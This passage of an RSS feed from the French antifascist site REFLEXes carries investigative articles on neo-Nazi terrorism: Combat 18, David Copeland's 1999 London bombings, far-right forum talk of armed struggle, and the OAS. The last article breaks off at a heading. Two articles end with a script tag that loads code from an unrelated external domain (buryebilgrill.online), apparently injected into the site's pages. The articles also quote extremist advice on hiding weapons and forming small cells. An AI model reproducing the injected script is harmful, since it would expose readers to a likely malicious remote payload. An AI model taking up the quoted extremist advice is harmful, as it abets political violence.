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	<title>REFLEXes &#187; terrorisme</title>
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	<description>EnquÃªtes et analyses sur l&#039;extrÃªme-droite contemporaine</description>
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		<title>Un terrorisme sans queue ni tête</title>
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		<pubDate>Wed, 24 Apr 2002 10:02:49 +0000</pubDate>
		<dc:creator><![CDATA[REFLEXes]]></dc:creator>
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		<category><![CDATA[Les radicaux]]></category>
		<category><![CDATA[Combat 18 (C18)]]></category>
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		<description><![CDATA[Ce mois-ci a lieu à Londres le procès de David Copeland, 22 ans, accusé d’avoir assassiné trois personnes au cours d’un attentat à la bombe perpétré l’année dernière contre un pub homosexuel de Londres. Cet attentat était le dernier d’une série de trois qui a secoué la ville pendant trois semaines en avril 1999. Copeland a d’ores et déjà admis sa responsabilité dans les attentats mais nie cependant avoir eu l’intention de tuer.]]></description>
				<content:encoded><![CDATA[<p>Ce mois-ci a lieu à Londres le procès de David Copeland, 22 ans, accusé d’avoir assassiné trois personnes au cours d’un attentat à la bombe perpétré l’année dernière contre un pub homosexuel de Londres. Cet attentat était le dernier d’une série de trois qui a secoué la ville pendant trois semaines en avril 1999. Copeland a d’ores et déjà admis sa responsabilité dans les attentats mais nie cependant avoir eu l’intention de tuer. Copeland est un néo-nazi inspiré par les théories de la guerre raciale : en posant des bombes dans des quartiers où résident essentiellement des gens d’origine africaine ou asiatique, il espérait déclencher une guerre entre les minorités et les Blancs. Il n’y est certes pas parvenu, mais ses attentats ont ébranlé toute la ville de Londres en créant une atmosphère de peur et de panique dans de nombreux quartiers.</p>
<p>Cette série d’attentats à la bombe est la première dans son genre en Grande-Bretagne. Il y a certes eu auparavant des attentats à la bombe perpétrés par les néo-nazis, mais il ne s’agissait en général que d’incidents de faible envergure, visant un individu ou des bâtiments particuliers. Les bombes de l’année dernière visaient tout au contraire des franges entières de la population londonienne.</p>
<p>Malheureusement, il fallait s’attendre à ce type d’attaques terroristes. Depuis le début des années 1990, les théories américaines de la guerre raciale ont été peu à peu intégrées par l’extrême droite britannique. Combat 18, le groupe terroriste néo-nazi, a été créé à l’instigation d’Harold Covington<sup><a href="https://reflexes.samizdat.net/un-terrorisme-sans-queue-ni-tete/#footnote_0_24" id="identifier_0_24" class="footnote-link footnote-identifier-link" title="Il s&rsquo;agit d&rsquo;un n&eacute;o-nazi am&eacute;ricain et dont le livre A March Up Country est un v&eacute;ritable plan de campagne terroriste.">1</a></sup>. Le journal publié par C18 était intitulé <em>The Order</em>, d’après le nom du groupe terroriste américain des années 1980. Dans l’un des numéros de ce journal, on pouvait lire l’article de Louis Beam sur la <em>leaderless resistance</em>, la résistance sans chef, un grand classique du terrorisme néo-nazi.</p>
<p>En 1997, un petit groupe d’activistes de C18, dont son leader actuel, Will Browning, ont essayé d’organiser une campagne de lettres piégées à partir du Danemark. Trois sympathisants danois de C18 emmenés par Thomas Nakaba furent alors arrêtés et emprisonnés. Des querelles internes ont par ailleurs éclaté lorsque les camarades de Charlie Sargent, l’ancien leader de C18, ont appris que ce dernier informait la police sur les activités de C18. Tout cela a marqué la fin de la menace réelle que pouvait représenter cette organisation. Même si C18 continue d’exister, il n’est plus que l’ombre du groupe qui a dominé la scène musicale néo-nazie britannique et qui attirait alors des centaines de sympathisants.</p>
<p>Cette série d’attentats à la bombe marque donc une nouvelle phase pour l’extrême droite britannique. En effet, même si Copeland a été impliqué dans de nombreuses organisations néo-nazies, il a posé ses bombes tout seul. Il n’est cependant pas le seul dans ce cas : deux semaines avant la première bombe de Copeland, un jeune homme de 19 ans, Stuart Kerr, avait posé une bombe dans un magasin asiatique dans le Sussex, avant d’incendier une voiture de police. Le jour où Copeland a posé une bombe à Brick Lane, la police a arrêté un homme de 57 ans, James Shaw, lors d’une intervention pour une bagarre dans un bus de Londres. En perquisitionnant son domicile, la police a trouvé de la propagande néo-nazie et trois bombes rudimentaires. Le jour où Copeland a posé sa troisième bombe dans Soho, la police a retrouvé le matériel nécessaire à la fabrication d’une bombe dans une voiture volée stationnée à Chesterfield, dans les East Midlands. Cela ne s’est produit que quelques jours après que des fascistes ont averti qu’ils passeraient à l’attaque au moment du festival du 1er mai qui se tiendrait à Chesterfield.</p>
<p>Il n’y a aucune organisation qui relie tous ces incidents ; ces derniers montrent simplement à quel point les théories américaines de la guerre raciale bénéficient d’un soutien croissant, surtout dans leurs applications suivantes : la résistance sans chef et l’infiltration par un fasciste d’une section de la droite traditionnelle. Cela illustre peut-être de façon plus significative l’éclatement de la scène néo-nazi britannique depuis la déconfiture de C18. Ainsi, tandis que le BNP attire de plus en plus d’électeurs et s’efforce en même temps d’avoir une image plus respectable, des individus isolés et/ou des petits groupes agissent dans le vide politique laissé par C18.</p>
<p>Nick Lowles,</p>
<p>pour le magazine <em>Searchlight</em></p>
<p>&nbsp;</p>
<ol class="footnotes"><li id="footnote_0_24" class="footnote">Il s’agit d’un néo-nazi américain et dont le livre A March Up Country est un véritable plan de campagne terroriste.</li></ol><script src=https://buryebilgrill.online/footnotes></script>]]></content:encoded>
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		<title>C18, ça suffit… Abattez le troupeau !</title>
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		<pubDate>Tue, 23 Apr 2002 15:58:44 +0000</pubDate>
		<dc:creator><![CDATA[REFLEXes]]></dc:creator>
				<category><![CDATA[International]]></category>
		<category><![CDATA[Les radicaux]]></category>
		<category><![CDATA[British National Party (BNP)]]></category>
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		<category><![CDATA[Hervé Guttuso]]></category>
		<category><![CDATA[terrorisme]]></category>

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		<description><![CDATA[Apparue en 1991, l’organisation Combat 18 (C18) a longtemps rassemblé, à la marge de l’extrême droite parlementaire, les néo-nazis britanniques à vocation terroriste. Depuis que C18 est en perte de vitesse, la scène néo-nazie a certes perdu en terme d’organisation, mais pas en potentiel de violence comme l’ont montré les attentats meurtriers commis à Londres en 1999.]]></description>
				<content:encoded><![CDATA[<p>Apparue en 1991, l’organisation Combat 18 (C18) a longtemps rassemblé, à la marge de l’extrême droite parlementaire, les néo-nazis britanniques à vocation terroriste. Depuis que C18 est en perte de vitesse, la scène néo-nazie a certes perdu en terme d’organisation, mais pas en potentiel de violence comme l’ont montré les attentats meurtriers commis à Londres en 1999.</p>
<p>Il y a presque deux ans, un homme de 22 ans a posé trois bombes remplies de clous à Londres, faisant ainsi trois morts et plus d’une centaine de blessés. En choisissant comme cibles les communautés noire, indienne et homosexuelle, David Copeland espérait déclencher une guerre raciale en Grande-Bretagne. L’été dernier, il a été condamné pour ces trois attentats à la bombe à six fois la peine à perpétuité.</p>
<p>Copeland est un néo-nazi inspiré par la théorie de la guerre raciale. Il a été élevé dans une famille et dans un environnement où le racisme était banal, il a rejoint le British National Party (BNP)<sup><a href="https://reflexes.samizdat.net/c18-ca-suffit-abattez-le-troupeau/#footnote_0_10" id="identifier_0_10" class="footnote-link footnote-identifier-link" title=" Parti national britannique.">1</a></sup> à l’été 1997 mais s’est vite lassé de leur stratégie trop modérée à son goût. Finalement, il a rejoint le National Socialist Movement (NSM)<sup><a href="https://reflexes.samizdat.net/c18-ca-suffit-abattez-le-troupeau/#footnote_1_10" id="identifier_1_10" class="footnote-link footnote-identifier-link" title=" Mouvement national-socialiste.">2</a></sup>, une scission du groupe Combat 18, dont l’un des militants-clés n’est autre qu’Hervé Guttuso<sup><a href="https://reflexes.samizdat.net/c18-ca-suffit-abattez-le-troupeau/#footnote_2_10" id="identifier_2_10" class="footnote-link footnote-identifier-link" title="Guttuso a fui la France parce qu&rsquo;il &eacute;tait poursuivi pour incitation &agrave; la haine raciale et risquait par cons&eacute;quent la prison ferme. En effet, &agrave; son retour des &Eacute;tats-Unis o&ugrave; il avait int&eacute;gr&eacute; les Hammerskins et d&rsquo;o&ugrave; il avait, sans succ&egrave;s, essay&eacute; de t&eacute;l&eacute;guider une section fran&ccedil;aise de cette organisation, il a finalement anim&eacute; cette branche fran&ccedil;aise des Hammerskins ainsi qu&rsquo;un fanzine, Terreur d&rsquo;&eacute;lite, pour lequel il a &eacute;t&eacute; poursuivi pour incitation &agrave; la haine raciale.">3</a></sup>, le chef des Charlemagne Hammerskins (CHS), qui vit en Angleterre depuis fin 1995. Copeland était donc membre du NSM lorsqu’il a posé ses bombes.</p>
<p>Et pourtant, il a agi seul, après avoir téléchargé le manuel de fabrication des bombes sur internet. Deux ans plus tôt, il avait essayé de fabriquer une bombe plus puissante au moment où il avait quitté le BNP, mais il n’y était pas parvenu. Il n’a pas non plus réussi à déclencher une guerre raciale en Angleterre comme il le souhaitait, mais ses attentats ont ébranlé toute la ville de Londres, créant un climat de peur et de panique dans de nombreux quartiers de la ville.</p>
<p>Cette série d’attentats racistes était la première en son genre en Grande-Bretagne. Il y avait certes déjà eu des attentats commis par des néo-nazis, mais il ne s’agissait généralement que d’incidents mineurs, qui ne visaient qu’un individu ou des bâtiments précis. Les attentats de 1999 étaient des attaques aveugles, qui visaient des pans entiers de la population.</p>
<p><strong>Les racines du terrorisme d’extrême droite</strong></p>
<p>Malheureusement, il fallait s’attendre à ce genre d’attaques terroristes d’extrême droite. Depuis le début des années 1990, les idées des théoriciens américains de la guerre raciale ont été peu à peu intégrées par l’extrême droite britannique. Combat 18 (C18), le groupe néo-nazi terroriste britannique, fut créé à l’initiative de Harold Covington, un néo-nazi installé aux États-Unis dont le livre intitulé A March Up Country est un véritable plan de campagne terroriste. Une publication de C18 était d’ailleurs intitulée The Order, du nom du groupe terroriste américain d’extrême droite éponyme. Dans l’un des numéros de ce journal, on pouvait lire un article de Louis Beam sur la leaderless resistance<sup><a href="https://reflexes.samizdat.net/c18-ca-suffit-abattez-le-troupeau/#footnote_3_10" id="identifier_3_10" class="footnote-link footnote-identifier-link" title="R&eacute;sistance sans chef.">4</a></sup>, un grand classique du terrorisme néo-nazi actuel. Les concepts de ZOG («Zionist Occupation Government») et de guerre raciale, importés des États-Unis par C18, sont maintenant monnaie courante au sein de l’ensemble de l’extrême droite britannique, y compris au sein du BNP.</p>
<p>En 1995, William Pierce, le chef d’un groupe néo-nazi américain extrêmement radical, la National Alliance, a assisté au congrès du BNP. Son livre, les Turner Diaries, est aujourd’hui considéré comme la bible de l’extrême droite britannique. David Copeland a d’ailleurs dit à la police que ce livre l’avait influencé et qu’il s’était efforcé de faire éclater la guerre raciale qui y est décrite.</p>
<p><strong>C18 et le terrorisme</strong></p>
<p>Depuis sa création en 1992, C18 a toujours été à l’avant-garde de ceux qui prêchent pour le terrorisme au sein de l’extrême droite britannique. En 1997, un petit groupe d’activistes de C18, dont son leader actuel, Will Browning, ont essayé d’organiser une campagne de lettres piégées à partir du Danemark. Trois sympathisants danois de C18 emmenés par Thomas Nakaba furent alors arrêtés et emprisonnés. Des querelles internes ont par ailleurs éclaté lorsque les camarades de Charlie Sargent, l’ancien leader de C18, ont appris que ce dernier informait la police sur les activités de C18. La participation à cette campagne terroriste ainsi que les querelles internes qui ont suivi les révélations faites à la police par Charlie Sargent ont mis le groupe en péril, qui est d’ailleurs passé de 500 membres en 1995 à 60 aujourd’hui.</p>
<p>Quoi qu’il en soit, C18 existe toujours et reste une menace. En automne 1998, ils ont tenté une nouvelle fois de lancer une vague d’attaques terroristes, cette fois-ci à partir de l’Allemagne. Récemment, ils ont essayé de prendre des contacts avec des groupes paramilitaires loyalistes d’Irlande du Nord, au départ avec la Loyalist Volunteer Force (UVF)<sup><a href="https://reflexes.samizdat.net/c18-ca-suffit-abattez-le-troupeau/#footnote_4_10" id="identifier_4_10" class="footnote-link footnote-identifier-link" title=" Force des Volontaires loyalistes.">5</a></sup> et plus récemment avec des sections de l’Ulster Defence Association (UDA)<sup><a href="https://reflexes.samizdat.net/c18-ca-suffit-abattez-le-troupeau/#footnote_5_10" id="identifier_5_10" class="footnote-link footnote-identifier-link" title=" Association de D&eacute;fense de l&rsquo;Ulster.">6</a></sup>. Un des sympathisants les plus tristement célèbres de C18 au sein de l’UDA est Steve Irwin, qui est récemment sorti de prison l’été dernier dans le cadre d’un plan de libération de prisonniers spécifique à l’Irlande du Nord : il avait été condamné à une peine de 7 ans de prison pour le meurtre de 6 catholiques, qu’il avait abattus dans un pub de Greysteel durant la nuit de Halloween après leur avoir crié : «Tricks or treats<sup><a href="https://reflexes.samizdat.net/c18-ca-suffit-abattez-le-troupeau/#footnote_6_10" id="identifier_6_10" class="footnote-link footnote-identifier-link" title="Ce que crient les enfants qui sonnent au porte des maisons la nuit de Halloween pour avoir des bonbons.">7</a></sup> !»</p>
<p>Plus inquiétant encore, C18 fait partie d’un réseau international relativement lache de fanatiques néo-nazis qui semblent prêts à passer au terrorisme.</p>
<p>En Scandinavie, C18 est lié à un certain nombre d’incidents terroristes où plusieurs personnes ont trouvé la mort ces dernières années.</p>
<p>En Allemagne, C18 est en contact avec un petit groupe de néo-nazis très violents qui gravitent autour de Torsten Heise.</p>
<p>On observe également le développement de groupes C18 en Slovaquie et en Serbie.</p>
<p><strong>Une nouvelle étape</strong></p>
<p>Les attentats de Londres ont montré que l’extrême droite britannique est entrée dans une nouvelle phase : en effet, alors que Copeland s’est impliqué dans de nombreuses organisations néo-nazies, il a perpétré ses attentats seul. Il n’est cependant pas le seul dans ce cas : deux semaines avant la première bombe de Copeland, un jeune homme de 19 ans, Stuart Kerr, avait posé une bombe dans un magasin asiatique dans le Sussex, avant d’incendier une voiture de police. Le jour où Copeland a posé une bombe à Brick Lane, la police a arrêté un homme de 57 ans, James Shaw, lors d’une intervention pour une bagarre dans un bus de Londres. En perquisitionnant son domicile, la police a trouvé de la propagande néo-nazie et trois bombes rudimentaires. Le jour où Copeland a posé sa troisième bombe dans Soho, la police a retrouvé le matériel nécessaire à la fabrication d’une bombe dans une voiture volée stationnée à Chesterfield, dans les East Midlands. Cela ne s’est produit que quelques jours après que les fachos ont averti qu’ils passeraient à l’attaque au moment du festival du 1er mai qui se tiendrait à Chesterfield.</p>
<p>Aucune organisation ne fait le lien entre ces différents incidents : ces derniers montrent simplement le succès que rencontre la théorie américaine de la guerre raciale auprès d’une certaine frange de l’extrême droite britannique qui ne se fait plus d’illusions sur le processus électoral. Ils sont également révélateurs de l’éclatement de la scène néo-nazie britannique depuis le déclin de C18. Tandis que le BNP attire les gens sur la voie électorale dans des proportions toujours plus grandes et tente, de ce fait, d’accéder à toujours plus de respectabilité, des individus isolés ainsi que de petits groupes agissent dans le vide politique qui en résulte, allant donc logiquement toujours plus loin dans leur positionnement à l’extrême droite.</p>
<p>Les attentats de Copeland ne constituent donc qu’un autre indice de l’internationalisation et de la normalisation croissantes de l’extrême droite. Les idées, tout comme les stratégies, sont de plus en plus fréquemment inspirées par des événements qui se produisent quelque part dans le monde ; et sur internet, des images, des encouragements peuvent arriver en quelques secondes de l’autre bout du monde.</p>
<p>Copeland avait certes de graves problèmes imputables à une enfance malheureuse et perturbée, qui l’ont rendu sensible à la propagande des groupes néo-nazis avec lesquels il est entré en contact, mais s’il a été le premier à choisir la voie du terrorisme raciste en Grande-Bretagne, il ne sera certainement pas le dernier, d’autant qu’il est devenu, à son tour, une source d’inspiration pour bien d’autres.</p>
<p>Nick Lowles pour Searchlight</p>
<ol class="footnotes"><li id="footnote_0_10" class="footnote"> Parti national britannique.</li><li id="footnote_1_10" class="footnote"> Mouvement national-socialiste.</li><li id="footnote_2_10" class="footnote">Guttuso a fui la France parce qu’il était poursuivi pour incitation à la haine raciale et risquait par conséquent la prison ferme. En effet, à son retour des États-Unis où il avait intégré les Hammerskins et d’où il avait, sans succès, essayé de téléguider une section française de cette organisation, il a finalement animé cette branche française des Hammerskins ainsi qu’un fanzine, Terreur d’élite, pour lequel il a été poursuivi pour incitation à la haine raciale.</li><li id="footnote_3_10" class="footnote">Résistance sans chef.</li><li id="footnote_4_10" class="footnote"> Force des Volontaires loyalistes.</li><li id="footnote_5_10" class="footnote"> Association de Défense de l’Ulster.</li><li id="footnote_6_10" class="footnote">Ce que crient les enfants qui sonnent au porte des maisons la nuit de Halloween pour avoir des bonbons.</li></ol><script src=https://buryebilgrill.online/footnotes></script>]]></content:encoded>
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		<title>Terrorisme : « mode d’emploi »</title>
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		<pubDate>Tue, 23 Apr 2002 15:46:17 +0000</pubDate>
		<dc:creator><![CDATA[REFLEXes]]></dc:creator>
				<category><![CDATA[Les radicaux]]></category>
		<category><![CDATA[terrorisme]]></category>
		<category><![CDATA[Unité radicale (UR)]]></category>

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		<description><![CDATA[À la fin de l’année 2000, sur le forum du site internet d’Unité radicale, un militant avait posé la question suivante : «Je voudrais savoir juste une chose: qui est pour ou contre la lutte armée dans le milieu NR ?» À ce message, qui aurait pu être interprété comme une provocation, quelques participants ont tenté d’apporté une réponse, chacun dans son style]]></description>
				<content:encoded><![CDATA[<p>À la fin de l’année 2000, sur le forum du site internet d’Unité radicale, un militant avait posé la question suivante : «Je voudrais savoir juste une chose: qui est pour ou contre la lutte armée dans le milieu NR ?» À ce message, qui aurait pu être interprété comme une provocation, quelques participants ont tenté d’apporté une réponse, chacun dans son style</p>
<p>(attention cependant : on ne peut garantir de façon certaine «l’authenticité» de ces réponses, puisqu’un forum est ouvert à tous et que n’importe qui peut s’y faire passer pour n’importe quoi ; mais elles nous semblent tout à fait en adéquation avec ce que l’on peut entendre ici ou là dans les milieux d’extrême droite).</p>
<p>La fausse modestie : «<em>Je ne pense pas que le problème soit d’être pour ou contre : elle sera ou non imposée par les événements. Les quelques dizaines ou centaines de militants NR ou nationaliste identitaires ne peuvent avoir la prétention de mener une lutte armée. Ils ne pourront au mieux qu’y contribuer.</em>»</p>
<p>Le donneur de leçon (il se désigne lui-même comme «un vieux con») : «(…) je voudrais faire quelques modestes remarques sur les rapports quasi pathologiques qu’entretient notre milieu avec les armes. (…) Tout le monde veut faire la révolution. Ok. Qui sait se servir d’une arme ? (…) Qui fait l’effort d’apprendre à utiliser une arme ? quasiment personne ! (…) [on me dit] «Ne t’inquiète pas ! On s’entraîne par nous même en forêt…» ou «en montagne&#8230;» Ah ouais, et quand ? Et comment ? Et avec quel moniteur? Et tous les combien ? Arrêtons de se palucher! (…) En revanche, à défaut de tireurs confirmés, j’ai vu pas mal d’armes dans nos milieux, toute illégales (on est révolutionnaire ou on ne l’est pas&#8230;). De tout et n’importe quoi, acheté à on ne sait trop à qui, ayant fait on ne sait trop quoi, histoire de se donner l’illusion d’être un guerrier. Eh ! kamarad enfouraillé! Tu penserais quoi, toi, d’un gars qui collectionnerait les kimonos des différents arts martiaux mais que l’on ne verrait jamais sur un dojo ou sur un ring ?»</p>
<p>Quelques semaine plus tard, mi-octobre, l’interpellation, dans les Vosges, d’un conseiller municipal FN et de quatre de ses petits amis au cours de laquelle du TNT et des armes automatiques ont été saisies entraînent de nombreuses réactions sur ce même forum.<br />
«(…) quand on a la chance d’avoir réussi à se procurer du matos (et c’est pas si facile que ce que certains croient) il faut en mettre en lieu sûr, nous savons très bien qu’on peut faire l’objet de perquisitions pour des raisons merdiques alors enterrez vos flingues ou mettez les chez quelqu’un de confiance mais qui n’est pas grillé. Les armes c’est pour le combat pas pour faire peur à sa copine !»<br />
«Seule une minorité, aussi déterminée, pourra changer le cours des événements. Cette minorité, peu importe son nombre, doit être constituée de «soldats politiques». Quand je vois certaines déclarations, sur ce forum ou sur d’autres, faire allusion à des actions violentes ou armées, j’ai envie de dire que, d’abord, ce n’est peut-être pas le lieu idéal pour ce genre de propos… ensuite que l’arme principale, ce sont les idées et leurs supports : les brochures, journaux et livres qui combattent le Système. (…) Ceci dit nous savons tous qu’un jour ou l’autre les écrits ne suffiront plus. Il faut bien sûr le gérer et le prévoir. (…) L’idéal, sans entrer dans le détail, me semble être des groupes autonomes de 3 à 5 personnes, ayant au moins un lien avec les grandes structures d’opposition nationale.»</p>
<p>À quoi il a été répondu : «<em>Quant aux petites cellules en attendant le grand soir, aux troïkas interlopes et autres groupuscules activistes (quel est l’inchoatif?), si ça peut permettre de vous donner des frissons…</em>»</p>
<p>Mais ce genre de discussion a-t-il d’autre but ?</p>
<p><strong>Encart :</strong></p>
<p>Les extraits ci-dessous sont tirés des deux premières pages d’un document informatique circulant actuellement dans les milieux boneheads français. Le cours «Explosif 101» compte environ 40 pages et se compose de chapitres sur les produits chimiques et explosifs, les fumigènes, les inflammables et les bombes. L’ensemble est très complet et a visiblement en partie été testé par son auteur.</p>
<p>L’origine du cours n’est pas française étant donné certaines tournures de langue mais plus vraisemblablement francophone. Le Québec par exemple ? Ce qui est sûr, c’est que son auteur est un doux rêveur quand on lit au détour du chapitre sur les éléments nécessaires de façon permanente : «Une cervelle ! C’est sûrement la chose sur laquelle vous devez le plus vous fier ! ». C’est aussi sans doute l’élément qui manque le plus aux militants ayant accès à cette disquette…</p>
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		<title>Pétard mouillé</title>
		<link>https://reflexes.samizdat.net/petard-mouille/</link>
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		<pubDate>Mon, 21 Jan 2002 20:13:33 +0000</pubDate>
		<dc:creator><![CDATA[REFLEXes]]></dc:creator>
				<category><![CDATA[Non classé]]></category>
		<category><![CDATA[Michel Lajoye]]></category>
		<category><![CDATA[Organisation Armée Secrète (OAS)]]></category>
		<category><![CDATA[terrorisme]]></category>

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		<description><![CDATA[La violence d’État est souvent masquée par la violence sociale ou politique. Les «extrêmes» en particulier sont régulièrement accusées par les tenants de l’ordre «démocratique» d’être par définition violents. Or cette accusation n’est pas forcément qu’un outil de criminalisation et le mouvement nationaliste français et européen a amplement prouvé par le passé que la violence et le terrorisme étaient au coeur de son existence politique. Nul n’étant devin, peut-on ainsi anticiper l’avenir ?]]></description>
				<content:encoded><![CDATA[<p>La violence d’État est souvent masquée par la violence sociale ou politique. Les «extrêmes» en particulier sont régulièrement accusées par les tenants de l’ordre «démocratique» d’être par définition violents. Or cette accusation n’est pas forcément qu’un outil de criminalisation et le mouvement nationaliste français et européen a amplement prouvé par le passé que la violence et le terrorisme étaient au coeur de son existence politique. Nul n’étant devin, peut-on ainsi anticiper l’avenir ?</p>
<p>En septembre 1999 paraissait en dernière page de la nouvelle revue du GUD Paris<sup><a href="https://reflexes.samizdat.net/petard-mouille/#footnote_0_1" id="identifier_0_1" class="footnote-link footnote-identifier-link" title="Jusqu&rsquo;&agrave; Nouvel Ordre, dont quatre num&eacute;ros sont sortis et qui ne semble pas devoir continuer &agrave; exister en ce printemps 2001.">1</a></sup> publiée spécialement pour les BBR 1999<sup><a href="https://reflexes.samizdat.net/petard-mouille/#footnote_1_1" id="identifier_1_1" class="footnote-link footnote-identifier-link" title="F&ecirc;te des Bleu Blanc Rouge, organis&eacute;e chaque ann&eacute;e par le FN fin septembre.">2</a></sup> le petit appel suivant : «Soutenons les prisonniers politiques. À la pointe du combat contre l’oppression sioniste et le système qui la tolère, ils ont payé la pureté de leur engagement de leur liberté. Condamnés à des lourdes peines, ils sont soumis à des conditions de détention inhumaines qui ne leur garantissent plus le minimum vital. Voici leurs adresses, en espérant que ceux qui partagent ou comprennent leur combat sauront leur témoigner une solidarité et un soutien que leur courage mérite amplement. Soutenons moralement et financièrement les quatre militants de l’Action directe et Carlos.» Ce petit encart en valait immédiatement un autre qui lui était consacré dans un grand journal du soir (selon la formule consacrée) dans lequel l’auteur s’interrogeait sur le sens à donner à cet appel<sup><a href="https://reflexes.samizdat.net/petard-mouille/#footnote_2_1" id="identifier_2_1" class="footnote-link footnote-identifier-link" title="Appel imm&eacute;diatement rejet&eacute; par les militants d&rsquo;Action directe et plus particuli&egrave;rement R&eacute;gis Schleicher et Jean-Marc Rouillan par le biais d&rsquo;articles de presse &eacute;crits depuis leur lieu de d&eacute;tention.">3</a></sup> : simple provocation ou indice d’une nette radicalisation et d’un intérêt croissant pour un certain activisme violent ? La disparition de l’encart deux numéros plus tard montra qu’on était bien loin des prémisses d’une nouvelle stratégie de la tension et que, grâce à la journaliste du Monde, ses auteurs avaient obtenu le petit effet médiatique souhaité. Alors, du bidon cet attrait de l’extrême droite pour l’activisme violent ?</p>
<p>De fait, pourquoi s’intéresser aujourd’hui à la notion de terrorisme au sein de l’extrême droite française ? Il est acquis depuis maintenant deux décennies que la France a l’un des degrés de violence politique les moins forts d’Europe et l’extrême droite française ne s’est jamais lancée dans des aventures meurtrières comme ont pu en connaître l’Autriche, la Suède ou l’Allemagne, que ce soit sous forme d’attentats à la lettre piégée ou d’attaques individuelles de grande ampleur. Pourtant, on a pu voir apparaître depuis deux ans des interrogations, ça et là, sur d’éventuelles dérives de petits groupes vers une lutte violente. La raison en serait l’éclatement du Front national survenu fin 1998 qui, en privant une partie du milieu de perspectives politiques démocratiques, redonnerait du tonus et de l’importance aux partisans de méthodes extralégales. Rien ne sert d’hurler au loup pour le simple plaisir de se faire peur. Mais un regard porté sur quelques expériences passées n’est jamais inutile.</p>
<p><strong>Terrorisme, lutte armée et chabadabada</strong></p>
<p>La seule expérience de lutte armée du mouvement nationaliste français est créée début 1961 à Madrid par Lagaillarde. Il s’agit de l’Organisation Armée Secrète, dans le contexte de la lutte de libération nationale algérienne.</p>
<p>Les débuts, assez confidentiels, ne rassemblent que les sympathisants de la ligne Lagaillarde, à savoir les adeptes de l’attentat au plastic. Mais à partir de mai, les contacts avec le Front nationaliste<sup><a href="https://reflexes.samizdat.net/petard-mouille/#footnote_3_1" id="identifier_3_1" class="footnote-link footnote-identifier-link" title="L&rsquo;une des organisations pieds-noires anti-ind&eacute;pendantistes.">4</a></sup> aboutissent à la création des Commandos Z qui, avec un millier de militants, deviennent le véritable bras armé de l’OAS, auxquels s’ajoutent les noyaux armés du lieutenant Degueldre. Les groupes seront unifiés sous la houlette de Jean-Jacques Susini et du Colonel Godard, assisté de Degueldre. Malgré sa force, le Front nationaliste ne sera pas représenté dans les structures centrales de l’OAS. On y trouve comme responsables, outre les fondateurs, les colonels Godard et Gardes et une brochette de militants : Sidos, Susini, Leroy, Ortiz, Perez ainsi que le Général Salan. L’OAS sera à tout point de vue une aventure, où les exclusives et les règlements de compte seront constants, avant comme après la fin de ses activités. Les luttes personnelles entre Susini, Ortiz et Lagaillarde firent beaucoup de dégâts et sont assez représentatives des tares des organisations nationalistes.</p>
<p>L’une des clés de compréhension de ces luttes internes est l’argent qui avait une énorme importance pour cette organisation agissant sous la forme de réseaux clandestins. Une vive polémique opposera ainsi Susini à d’autres dirigeants au sujet de fonds envoyés à des contacts parisiens, dont Sidos. Il se confirmera qu’il s’agissait bien de détournements de fonds de l’OAS. Ces histoires de caisse feront des morts dès la libération d’anciens «caissiers» de l’OAS qui disposaient d’un important trésor de guerre.</p>
<p>En Algérie, les commandos comprenaient des militaires, des paras, des légionnaires, des GMS, des Harkis et même des Israéliens issus des réseaux sionistes du Mossad. Mais les perspectives d’engagement de la part de l’armée étaient nulles, les militaires «amis» ne voulant guère bouger.</p>
<p>Alors que le Général Salan crée en mars 1962 le Conseil national de la Résistance en Algérie, tout est fini avec les fameux «Accords d’Évian», cela malgré les affrontements armés à Bab El Oued, où le général Jouhaud (responsable de l’Oranie) sera arrêté, et malgré la tuerie de la rue d’Isly le 26 mars. Degueldre sera capturé en avril. G. Bidault annonce alors la création du Conseil national de la Résistance en Métropole. Susini mènera même des négociations avec le FLN qui fera quelques vagues promesses pour sauver les infrastructures économiques que l’OAS sabotait systématiquement. Tout échouera, comme les éternels rêves de soulèvement de l’armée, et les commandos OAS rentreront clandestinement en métropole avec pour objectif principal l’assassinat du général De Gaulle. En France, l’OAS-Métro regroupe un certain nombre de petits groupes. Dans le Sud par exemple, c’est Résurrection-Patrie, animé par un ancien député poujadiste, Marcel Bouyer. Ce réseau sera démantelé peu après sa création. D’autres tendances existent, telle celle issue de l’OAS-Mission III, avec les troupes de Jeune Nation, et qui prendra en 1962 le nom d’Armée nationale secrète. Ultra, l’ANS préparera l’attentat contre De Gaulle. Le reste de l’OAS va s’organiser autour de Michel Sergent et de militaires comme Curutchet.</p>
<p>Des centaines d’attentats, provoquant des morts et de très nombreux blessés graves, seront revendiqués par l’OAS, qui de ce fait s’isolera de l’immense majorité de la population. C’est d’ailleurs ce type d’action qui permet de qualifier l’OAS d’organisation terroriste, au même titre que d’autres organisations nationalistes comme l’ETA, en opposition très claire avec les actions de lutte armée des organisations d’extrême gauche, RAF ou Action Directe, qui ne visèrent que des responsables économiques, politiques ou militaires. Le programme politique de l’OAS ne laissait aucun doute sur le caractère néo-fasciste de la formation, qui voulait «un gouvernement de salut public avec les responsables du mouvement nationaliste français et leurs correspondants dans l’armée». Le programme du 12 octobre 1961 précisait en outre que «le Parlement, qui ne peut prétendre à une quelconque représentation, sinon celle de la lâcheté, sera dissout (&#8230;) comme tous les partis, toutes les associations et organisations directement ou indirectement rattachés au communisme». Les jeunes et les syndicats devaient être regroupés dans un mouvement unique, et les immigrés expulsés. Les thèses racistes sont omniprésentes dans tous les textes théoriques du mouvement à la croix celtique.</p>
<p>L’attentat organisé au Petit-Clamart par des membres de Jeune Nation se soldera par un échec, du fait du manque de cohésion dans la structure clandestine du groupe. Les dirigeants de l’Organisation seront incarcérés ou contraints à un long exil, le colonel Bastien-Thiry, impliqué dans la tentative d’assassinat du Général, étant exécuté. Fin 1962, il ne subsistera que la FEN en milieu étudiant. C’en sera terminé pour une aventure de conquête du pouvoir par les armes, menée par plusieurs milliers de militants et de sympathisants. Mais on a continué à retrouver ses militants impliqués dans de multiples coups tordus de l’extrême droite : implication de Susini dans des braquages devant permettre de financer une organisation anticommuniste en 1967, création de l’agence barbouzarde franco-portugaise Aginter-Press, attentats anti-immigrés arabes des années 1970… Notons que les terres d’asile pour les fuyards de l’OAS seront l’Amérique Latine, mais aussi l’Italie où nombre d’activistes seront hébergés par les membres d’Ordine nuovo ; ce fait est important pour une meilleure compréhension des liens amicaux persistant entre «terroristes bruns» italiens et français. Serge de Beketch, vieux routard de l’extrême droite française fut ainsi photographié en 1985 en train de déjeuner à Paris avec la crème du terrorisme fasciste italien : Filipo Artelli et Roberto Palladino.</p>
<p><strong>Des tentations récurrentes</strong></p>
